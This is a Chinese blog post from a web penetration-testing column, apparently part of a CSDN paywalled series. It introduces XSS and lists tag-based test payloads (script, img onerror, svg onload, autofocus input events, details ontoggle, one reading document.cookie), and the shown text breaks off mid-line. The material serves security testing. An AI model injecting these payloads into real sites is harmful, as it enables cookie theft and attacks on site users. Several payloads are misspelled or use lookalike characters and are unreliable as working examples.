【漏洞挖掘】——28、XSS Cheat-sheet

FLy_鹏程万里

已于 2024-06-05 11:13:20 修改

阅读量802

点赞数

分类专栏：【WEB渗透】文章标签： xss 渗透测试信息安全网络安全 web渗透

于 2018-03-10 17:31:33 首次发布

本文链接：https://blog.csdn.net/Fly_hps/article/details/79509564

版权

【WEB渗透】专栏收录该内容

151 篇文章 11 订阅 ¥29.90 ¥99.00

订阅专栏

本文深入探讨了XSS跨站脚本攻击，包括常见载荷、检查列表和各种测试方法。通过PortSwigger的XSS备忘录清单，以及介绍如何构造XSS载荷，为安全测试人员提供了实用的参考资料。

摘要由CSDN通过智能技术生成

文章前言

XSS(跨站脚本攻击)是一种常见的网络安全威胁，攻击者借助漏洞将恶意脚本注入到网页中以在用户浏览器上执行恶意操作，本文将对我们一些常用的XSS有效载荷进行介绍

常用载荷

下面是一些平时在进行XSS测试时常用的攻击载荷，主要划分为以下几类：

#标签类
<scirpt>alert("xss");</script>
<img src=x onerror=alert("xss");>
<img src=x οnerrοr=prompt(1);>
<img/src='x'/onclick=alert(document.cookie)><p>test<p>
<svg onload=alert("xss");>
<script>setTimeout(alert(88199),0)</script>
<script>document['write'](88199);</script>
<script>propmt("mamunwhh")</script>
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus>
<input onblur=alert("xss") autofocus><input autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('x

了解本专栏